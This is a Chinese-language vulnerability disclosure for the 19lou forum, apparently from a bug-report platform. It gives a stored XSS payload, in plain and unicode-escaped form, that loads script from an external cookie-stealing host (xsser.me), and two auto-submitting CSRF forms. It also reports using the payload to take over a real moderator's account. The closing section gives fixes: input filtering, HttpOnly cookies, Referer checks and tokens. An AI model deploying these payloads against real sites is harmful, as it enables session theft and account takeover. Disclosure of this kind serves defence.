19楼某处过滤不严格,导致一个敏感地方存储型XSS。
再加上COOKIES中木有HTTPONLY,成功暗杀一个十九楼小帮办
目测19楼当中各类接口木有REFERER检查,各种CSRF就顺便提一下呗~~~
在论坛中随便找一个帖子回帖,先随便写一点内容发出去,然后高级编辑!
用FIDDLER2截包,先放过这个接口的数据,这个不是重点。
这个才是重点。
这个POST包中,attachments对传入数据的过滤不严格。
经过测试,涛涛电脑知识网,直接在图片地址中加入">会系统错误,返回HTTP500错误。
目测,[{ }]这样子的几乎都能用JS的UNICODE转义插入在POST,转义后就是\u0022\u003e
我们把\u0022\u003e插在name中最后的.png后面。
看看效果
果断测漏了,我们再次编辑,在后面加上自己的JS代码即可~~
"><script src=http://xsser.me/UZH56T></script><img high=0 weight=0
我用这段代码进行测试,后面的<img high=0 weight=0 是为了屏蔽测漏的信息,达到更好的隐藏效果。
上面那段话经过js的unicode转义后就是这样,同样插入到.png的后面
\u0022\u003e\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0073\u0073\u0065\u0072\u002e\u006d\u0065\u002f\u0055\u005a\u0048\u0035\u0036\u0054\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u003c\u0069\u006d\u0067\u0020\u0068\u0069\u0067\u0068\u003d\u0030\u0020\u0077\u0065\u0069\u0067\u0068\u0074\u003d\u0030\u0020
顺利插入~
其中暗杀了一个小帮办~
各类权限
成果。
=========CSRF=========
改签名
<html>
<body>
<form id="imlonghao" name="imlonghao" action="" method="post">
<input type="text" name="sign_text" value="XXX" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
发博客
<html>
<body>
<form id="imlonghao" name="imlonghao" action="" method="post">
<input type="text" name="subject" value="TITLE" />
<input type="text" name="content" value="BODYBODYBODYBODYBODYBODYBODY" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
目测CSRF还有很多,自己检查检查吧~~~~
修复方案:XSS:
attachments中过滤js的unicode转义,过滤">等等。
同时,加上HTTPONLY,详见关于HTTPONLY的那点事( 关于HTTPONLY的那点事 )
CSRF:
关键接口验证信息来源(REFERER),加上随机的TOKEN信息在表单中。